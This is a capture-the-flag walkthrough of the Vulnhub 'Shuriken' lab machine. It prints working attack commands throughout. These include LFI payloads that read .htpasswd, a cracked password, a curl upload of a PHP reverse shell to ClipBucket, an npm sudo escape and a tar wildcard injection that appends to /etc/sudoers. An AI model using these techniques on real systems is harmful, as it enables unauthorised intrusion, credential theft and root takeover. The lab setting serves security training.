Vulnhub : Shuriken Walkthrough
Target IP : 192.168.29.192
As usual I started with nmap scan using the command shown below to find open ports and services running in the target server.
nmap -sC -sV -Pn -p- -T4 --max-rate=1000 -o nmap.txt 192.168.29.192
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-05 23:58 IST
Nmap scan report for 192.168.29.192
Host is up (0.00021s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Shuriken
8080/tcp filtered http-proxy
The port 8080 is filtered so I started enumeration from port 80/HTTP and I found a website related to the Shuriken Company. In the navigation bar, I found Sign in page any tried some common credentials but that didn't work. Next I thought to go for directory brute force and found some useful directories.
┌──(artof㉿parrot)-[~]
└─$ gobuster dir -u 'http://192.168.29.192/' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://192.168.29.192/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
Starting gobuster
===============================================================
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/secret (Status: 301)
/server-status (Status: 403)
===============================================================
Finished
In the /secret
directory, I found an image and tried some steganography tricks on that image but no luck. Next I thought to check /js
and I started to examine the /js/index__d8338055.js
file and found that domain name is shuriken.local
. So now I edited the /etc/hosts
file, but after visiting http://shuriken.local, I found the same website.
Next thing I found in JS file was a GET parameter referer, most probably this is LFI but payload http://shuriken.local/index.php?referer=../../../../../../../../../../../../../etc/passwd
didn't work. Then I thought to try some other payloads and luckily this one worked:
php://filter/convert.base64-encode/resource=index.php
It was base64 encoded and decoding didn't provide any useful information, now I was confused exactly which file I need to read in order to get an initial shell. Next I thought to check for subdomains using the command show below:
wfuzz -H 'HOST: FUZZ.shuriken.local' -u 'http://192.168.29.192' -w ../subdomains-top1million-5000.txt --hw 466
.
.
.
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000690: 400 12 L 53 W 427 Ch "gc._msdcs"
000001238: 401 14 L 54 W 471 Ch "broadcast"
I added both these subdomains in /etc/hosts
file . Now after visiting broadcast.shuriken.local
, I found that it is protected using HTTP basic authentication. I tried with some common credentials, but they didn't work. Next thought came in my mind was regarding LFI , if it is protected using HTTP basic authentication, then username/password must be stored in .htaccess
or .htpasswd
and that file name or location can be found in /etc/apache2/apache2.conf
file. I thought I'd give it a try.
$ curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/apache2.conf
.
.
.
.
IyBUaGlzIGlzIHRoZSBtYWluIEFwYWNoZSBzZXJ2ZXIgY29uZmlndXJhdGlvbiBmaWxlLiAgSXQgY29udGFpbnMgdGhlCiMgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIHRoYXQgZ2l2ZSB0aGUgc2VydmVyIGl0cyBpbnN0cnVjdGlvbnMuCiMgU2VlIGh0dHA6Ly9odHRwZC5hcGFjaGUub3JnL2RvY3MvMi40LyBmb3IgZGV0YWlsZWQgaW5mb3JtYXRpb24gYWJvdXQKIyB0aGUgZGlyZWN0aXZlcyBhbmQgL3Vzci9zaGFyZS9kb2MvYXBhY2hlMi9SRUFETUUuRGViaWFuIGFib3V0IERlYmlhbiBzcGVjaWZpYwojIGhpbnRzLgojCiMKIyBTdW1tYXJ5IG9mIGhvdyB0aGUgQXBhY2hlIDIgY29uZmlndXJhdGlvbiB3b3JrcyBpbiBEZWJpYW46CiMgVGhlIEFwYWNoZSAyIHdlYiBzZXJ2ZXIgY29uZmlndXJhdGlvbiBpbiBEZWJpYW4gaXMgcXVpdGUgZGlmZmVyZW50IHRvCiMgdXBzdHJlYW0ncyBzdWdnZXN0ZWQgd2F5IHRvIGNvbmZpZ3VyZSB0aGUgd2ViIHNlcnZlci4gVGhpcyBpcyBiZWNhdXNlIERlYmlhbidzCiMgZGVmYXVsdCBBcGFjaGUyIGluc3RhbGxhdGlvbiBhdHRlbXB0cyB0byBtYWtlIGFkZGluZyBhbmQgcmVtb3ZpbmcgbW9kdWxlcywKIyB2aXJ0dWFsIGhvc3RzLCBhbmQgZXh0cmEgY29uZmlndXJhdGlvbiBkaXJlY3RpdmVzIGFzIGZsZXhpYmxlIGFzIHBvc3NpYmxlLCBpbgojIG9yZGVyIHRvIG1ha2UgYXV0b21hdGluZyB0aGUgY2hhbmdlcyBhbmQgYWRtaW5pc3RlcmluZyB0aGUgc2VydmVyIGFzIGVhc3kgYXMKIyBwb3NzaWJsZS4KCiMgSXQgaXMgc3BsaXQgaW50byBzZXZlcmFsIGZpbGVzIGZvcm1pbmcgdGhlIGNvbmZpZ3VyYXRpb24gaGllcmFyY2h5IG91dGxp.
.
.
.
Again this is base64 encoded, decoding revealed some good information.
That's what I need! I tried to read the .htaccess
file but it didn't work. Next I tried to read the .htpasswd
file.
curl http://shuriken.local/index.php?referer=php://filter/convert.base64-encode/resource=/etc/apache2/.htpasswd
.
.
.
ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg==
.
.
This is again base64 encoded and after decoding this, I got the username and hashed password.
┌──(artof㉿parrot)-[~/Desktop/CTF/shuriken]
└─$ echo ZGV2ZWxvcGVyczokYXByMSRudE96MkVSRiRTZDZGVDhZVlRWYWxXakw3Ykp2MFAwCg== | base64 -d
developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0
After cracking this hash using john I found the password.
sudo john --wordlist=../rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
9972761drmfsls (?)
Now we can get access to broadcast.shuriken.local subdomain.
Now we have access to the subdomain and after some enumeration, I found that it is using clipbucket v4.0. I started to find exploits for this and found a number of exploits here , but we need to figure out which exploit will work and then we need to edit it accordingly.
I decided to go with file upload exploit and for that I copied a reverse shell in my local system with name a .php
, directly using the payload and this will give an error. So we need to modify the command and after editing the payload I got a message.
curl -u developers:9972761drmfsls -F "file=@a.php" -F "plupload=1" -F "name=a.php" "http://broadcast.shuriken.local/actions/photo_uploader.php"
{"success":"yes","file_name":"1607206120c327b8","extension":"php","file_directory":"2020\/12\/05"}
Now by visiting the specified location, I can execute the php file and get a reverse shell.
┌──(artof㉿parrot)-[~/Desktop/CTF/shuriken]
└─$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.29.248] from (UNKNOWN) [192.168.29.192] 48220
Linux shuriken 5.4.0-47-generic #51~18.04.1-Ubuntu SMP Sat Sep 5 14:35:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
23:13:17 up 3:46, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Just after getting the low user shell I checked for user privileges and found this interesting permission.
www-data@shuriken:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on shuriken:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on shuriken:
(server-management) NOPASSWD: /usr/bin/npm
You can read more about npm from here. We can run npm as user server-management
and to get a shell of user server-management, I created a package.json
file with scripts tag in it and inside the script tag I specified a build tag to run a bash script.
www-data@shuriken:/tmp$ cat package.json
cat package.json
{
"scripts":
{
"build":"bash /tmp/check.sh"
}
}
.
.
.
www-data@shuriken:/tmp$ cat check.sh
cat check.sh
/bin/bash
Now we can run the bash script using the command shown below:
www-data@shuriken:/tmp$ sudo -u server-management /usr/bin/npm run-script build
sudo -u server-management /usr/bin/npm run-script build
> @ build /tmp
> bash /tmp/check.sh
server-management@shuriken:/tmp$ id
id
uid=1000(server-management) gid=1000(server-management)
Now we can read the flag in the home directory of user server-management. Now for root, I tried a lot of methods but they didn't work, next I used pspy64 to check for running processes and found something interesting.
I changed the directory to /var/opt/ and found that user server-management can only read this file and that was enough to get the root shell.
server-management@shuriken:/var/opt$ cat backupsrv.sh
cat backupsrv.sh
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
.
.
.
Well, after analysing the code carefully, I found that we can get root shell using wild card injection and for that I followed some steps.
server-management@shuriken:~$ **cd Documents**
cd Documents
server-management@shuriken:~/Documents$ **touch -- --checkpoint=1**
touch -- --checkpoint=1
server-management@shuriken:~/Documents$ **echo 'echo "server-management ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh**
NOPASSWD: ALL" >> /etc/sudoers' > demo.sh
server-management@shuriken:~/Documents$ **touch -- "--checkpoint-action=exec=sh demo.sh"**
Now whenever /var/opt/backupsrv.sh will run as root , user-management should get all the privileges.
server-management@shuriken:~/Documents$ sudo -l
sudo -l
Matching Defaults entries for server-management on shuriken:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User server-management may run the following commands on shuriken:
(root) NOPASSWD: ALL
Now just execute the sudo su command and we are root! We can read our final flag present in the home directory.
cat root.txt
d0f9655a4454ac5
__
____ ____ ____ ________________ _/ |_ ______
_/ ___\/ _ \ / \ / ___\_ __ \__ \\ __\/ ___/
\ \__( <_> ) | \/ /_/ > | \// __ \| | \___ \
\___ >____/|___| /\___ /|__| (____ /__| /____ >
\/ \//_____/ \/ \/
__ .___
___.__. ____ __ __ _______ ____ _____/ |_ ____ __| _/
< | |/ _ \| | \ \_ __ \/ _ \ / _ \ __\/ __ \ / __ |
\___ ( <_> ) | / | | \( <_> | <_> ) | \ ___// /_/ |
/ ____|\____/|____/ |__| \____/ \____/|__| \___ >____ |
\/ \/ \/
_________.__ .__ __
/ _____/| |__ __ _________|__| | __ ____ ____
\_____ \ | | \| | \_ __ \ | |/ // __ \ / \
/ \| Y \ | /| | \/ | <\ ___/| | \
/_______ /|___| /____/ |__| |__|__|_ \\___ >___| /
\/ \/ \/ \/ \/
This completed the challenge, I hope you like the walkthrough. If you have any queries, you can DM me on discord at cyberbot#1859.
NOTE: The awesome artwork used in this article was created by Dmitry Mòói.